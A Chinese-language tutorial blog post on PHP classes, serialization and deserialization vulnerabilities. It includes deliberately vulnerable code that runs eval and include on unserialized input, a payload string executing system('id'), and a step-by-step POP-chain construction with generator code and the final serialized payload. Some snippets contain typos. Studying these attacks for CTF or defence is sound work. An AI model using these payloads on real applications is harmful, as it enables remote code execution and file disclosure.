php中的类与对象以及反序列化

php 复制代码
<?php
class a{
    #这个php中的对象可以直接初始化的吗?
    var $name="benben";
    var $sex;
    function jineng($ var1){
        echo $this->name;#类的函数调用类的成员,是需要使用this指针明确显示的。但是C++中的this指针是隐藏了的。
        echo $var1;
    }
}
?>

实例化和赋值

这里实例化要使用new()来进行。详细代码如下:

php 复制代码
<?php
class a{
    #这个php中的对象可以直接初始化的吗?
    var $name="benben";
    var $sex;
    function jineng($ var1){
        echo $this->name;#类的函数调用类的成员,是需要使用this指针明确显示的。但是C++中的this指针是隐藏了的。
        echo $var1;
    }
}

$cyj=new a();
#类中有预定义的,不用怕,后面可以覆盖的
$cyj->name="程咬金";
$cyj->sex='男';
?>

这个对象的展示结果如下,但是请注意输出的时候方法是不会输出的。(只会使属性展示。)

序列化基础知识:

序列化 :把PHP 对象 / 数组 / 变量 转换成字符串,方便存储、传输、缓存。

反序列化 :把序列化后的字符串,还原成原本的 PHP 对象

变量序列化

php 复制代码
<?php
$test = "hello world";
$ser_str = serialize($test);
echo $ser_str; 
// 输出:s:11:"hello world";
/*
格式说明:
s = 字符串,11 = 字符长度,后面是内容
*/
?>

其中的s:11:"hello world"是这样划分的。首先这个s是string,表示这个变量的类型,然后用:(分号)来分割。后面的11表示的是长度。(要是int类型或者float类型就没有这个长度)。后面就是内容。是用双引号来划分范围的。这样就算字符串的内容是hello"world也不会出现 s:11"hello"world"这样意外闭合的情况。

数组序列化

php 复制代码
<?php
$arr = ['name' => 'admin', 'age' => 20];
echo serialize($arr);
// 输出:a:2:{s:4:"name";s:5:"admin";s:3:"age";i:20;}
/*
a = 数组,2 = 数组元素个数
i = 整型
*/
?>

其中a代表array(数组),其中有两个元素。然后数组中的内容就是按照变量序列化来进行的。

对象的序列化

php 复制代码
<?php
class test{
    public $pub='benben';
    function jineng(){
        echo $this->pub;
    }
}
$a=new test();
echo serialize(a);
?>

后面的结果就是O:4:"test":1:{s:3:"pub";s:6:"benben";}

都是类名没有对象名呀。

要是有变量是private类型,那么在序列化的时候在变量名前加上%00类名%00(但是注意这个空格并不是%00,那个%00是二进制进行的)。相关代码如下:

php 复制代码
<?php
class hero{
    private $pub='benben';
    function jineng(){
        echo $this->pub;
    }
}
$a=new hero();
echo serialize(a);
?>
#对应结果如下:
O:4:"hero":1:{s:9:"%00hero%00pub";s:6:"benben";}

要是变量是protect类型,则就是在变量名前加上%00*%00(我觉得考察private就可以了)。

要是有类包含的情况,就是类似于这种:

class A{

xxxx

};

class B{

xxxxx

private :

A a

}

$a=new B();

echo serialize(a);

对于这种对a进行序列化的时候就是这样的了

O:1:"B":1:{O}

对象的反序列化

1.一个对象进行序列化的结果是字符串,该字符串进行反序列化之后还是对象。

2.反序列化生成的对象里的值,由反序列化里的值提供,与原有类预定义的值是无关的(后面处理免杀木马也可以这么处理)。

3.反序列化不触发类的成员方法,但是需要调用方法后才可以触发。

比如你看这个变量d这个是接受的字符串,f是其反序列化之后的对象。这里要是把test这个类给删了,那么f调用display这个方法就是有问题的。但是只要test这个类存在,那么f就可以调用。(说实话,我觉得有点奇怪)。

反序列化的漏洞

php 复制代码
<?php
class test{
    
    public $a = 'echo "this is my test";'; 

    function displayVar(){
        
        eval($this->a);
    }
}

$get = $_GET["x"];
$b = unserialize($get);
$b->displayVar();
?>

可以看一下这个代码,这个代码的意思是给URL传一个参数x,这个参数由变量$get获取,然后对这个变量进行反序列化。然后再执行b中的displayVar函数。要是x是事先构造好的字符串,

O:4:"test":1:{s:1:"a";s:13:"system('id');";}

也就是

魔术方法

触发时机,功能,参数,返回值

这些事自动调用,并且类中要有这个方法才可以。其中比较晦涩的可能是这个_toString和_invoke这个怎么理解呢?可以这么认为假设有这样的代码:

php 复制代码
<?php
    class test{
        public $a;
//这个是要有两个下划线的,并且这个函数是要有return的,并且返回的类型只能是字符串
         function __toString(){
            return " 我是对象,不是字符串";
         }
    } 
    $b = new test();
    echo $b;
?>

这里由于echo 后面跟的应该是字符串,但是$b确实对象。这个对象看看能不能转成字符串于是就调用了__toString函数(这么说这个函数有点类似于类型转换要调用的函数一样)。

同理,__invoke()函数就是想要把这个对象转成函数来处理。代码如下:

php 复制代码
<?php
    class test{
        private $a='明天会更好!';
        function display(){
            echo $this->a;
        }
        //这里甚至都不需要return
         function __invoke(){
             $this->display();

         }
    } 
    $b = new test();
//这里是把对象b当做函数调用了。
    $b();
?>

POP链的构造

相关代码是这样的:

php 复制代码
<?php
class Modifier{
    private $var;
    function append($value){
        include($value);
        echo $flag;
    }
    function __invoke(){
        $this->append($this->var);
    }
}
class Show{
    public $source;
    public $str;
    function __tostring(){
        return $this->str->source;
    }   
    function __wakeup(){
        echo $this->source; 
    }
}

class Test{
    public $p;
    function __contruct(){
        $this->p =array();
    }
    function __get($key){
        $function=$this->p;
        return $function();
    }
}
if(isset($_GET["pop"])){
    unserialize($_GET["pop"]);
}


?>

构造过程如下 :

第 1 步:锁定最终目标(终点)

我们的目标是执行 Modifier::append() 里的这两行代码:

php

运行

复制代码
include($value);
echo $flag;

要让这两句执行,必须先调用 append($value) 方法,并且让 $value = "flag.php"


第 2 步:往前找 append() 的触发方式

在代码里找,哪个方法调用了 append()

  • Modifier::__invoke()

    php

    运行

    复制代码
    function __invoke(){
        $this->append($this->var);
    }

所以,只要能触发 Modifier::__invoke(),就能调用 append(),并且把 $this->var 作为参数传进去。 那 __invoke() 怎么触发?

  • 规则:对象被当作函数调用时触发 ,比如 $obj()

第 3 步:往前找 __invoke() 的触发方式

找哪里出现了 $obj() 这种 "对象当函数调用" 的写法?

  • Test::__get()

    php

    运行

    复制代码
    function __get($key){
        $function=$this->p;
        return $function();
    }

这里的 $function() 就是 "对象当函数调用"。 所以,只要让 $this->pModifier 对象,就能触发 Modifier::__invoke()。 那 __get() 怎么触发?

  • 规则:访问对象不存在的属性时触发 ,比如 $obj->不存在的属性

第 4 步:往前找 __get() 的触发方式

找哪里出现了 $obj->属性 这种访问属性的写法,且属性可能不存在?

  • Show::__toString()

    php

    运行

    复制代码
    function __tostring(){
        return $this->str->source;
    }

这里访问了 $this->str->source。如果 $this->strTest 对象,而 Test 类里没有 source 属性,就会触发 Test::__get()。 那 __toString() 怎么触发?

  • 规则:对象被当作字符串使用时触发 ,比如 echo $obj

第 5 步:往前找 __toString() 的触发方式

找哪里出现了 echo $obj 这种 "对象当字符串使用" 的写法?

  • Show::__wakeup()

    php

    运行

    复制代码
    function __wakeup(){
        echo $this->source; 
    }

这里的 echo $this->source 会把 $this->source 当作字符串处理。如果 $this->sourceShow 对象(或者说,只要 $this->source 是一个有 __toString() 方法的对象),就会触发 Show::__toString()。 那 __wakeup() 怎么触发?

  • 规则:unserialize() 反序列化对象时自动触发

第 6 步:链的起点(入口)

unserialize($_GET["pop"]) 会自动调用 Show 对象的 __wakeup() 方法。 至此,我们已经从终点 include("flag.php") 反向推到了起点 unserialize(),完整的链就通了。

那现在就只剩下传参数了。这个参数怎么写,还是要序列化的内容。可以这样写:

php 复制代码
<?php
class Modifier{
//因为var是私有属性,所以只能在这里赋值。
    private $var='flag.php';
    function append($value){
        include($value);
        echo $flag;
    }
    function __invoke(){
        $this->append($this->var);
    }
}
class Show{
    public $source;
    public $str;
    function __tostring(){
        return $this->str->source;
    }   
    function __wakeup(){
        echo $this->source; 
    }
}

class Test{
    public $p;
    function __contruct(){
        $this->p =array();
    }
    function __get($key){
        $function=$this->p;
        return $function();
    }
}
if(isset($_GET["pop"])){
    unserialize($_GET["pop"]);
}

$mod = new Modifier();
$show = new Show();
$test = new Test();
$test->p=$mod;
$show->str=$test;
$show->source = $show;
echo serialize($show);

?>

其中最后结果是:

bash 复制代码
O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"Modifiervar";s:8:"flag.php";}}}

这就是用代码来生成代码。

相关推荐
两个人的幸福1 小时前
Windows 桌面应用自研 PHP 队列(下):完整代码与六大工程化优化
php
zzzzzz3105 小时前
9K Star 炸裂开源!这个 C 语言写的代码知识图谱,把 Linux 内核索引压缩到了 3 分钟
linux·服务器·sql
XIAOHEZIcode5 小时前
Linux系统鼠标偏移常见原因以及修复方案
linux·运维·游戏
A小辣椒2 天前
TShark:Wireshark CLI 功能
linux
A小辣椒2 天前
TShark:基础知识
linux
BingoGo2 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
JaguarJack2 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
AlfredZhao2 天前
OCI 明明分配了 200G 系统盘,为什么 df 只看到 30G?
linux·oci
AlfredZhao3 天前
vi 删除指定范围的行,不用再反复按 dd
linux·vi
用户3074596982073 天前
PHP 扩展——从入门到理解
php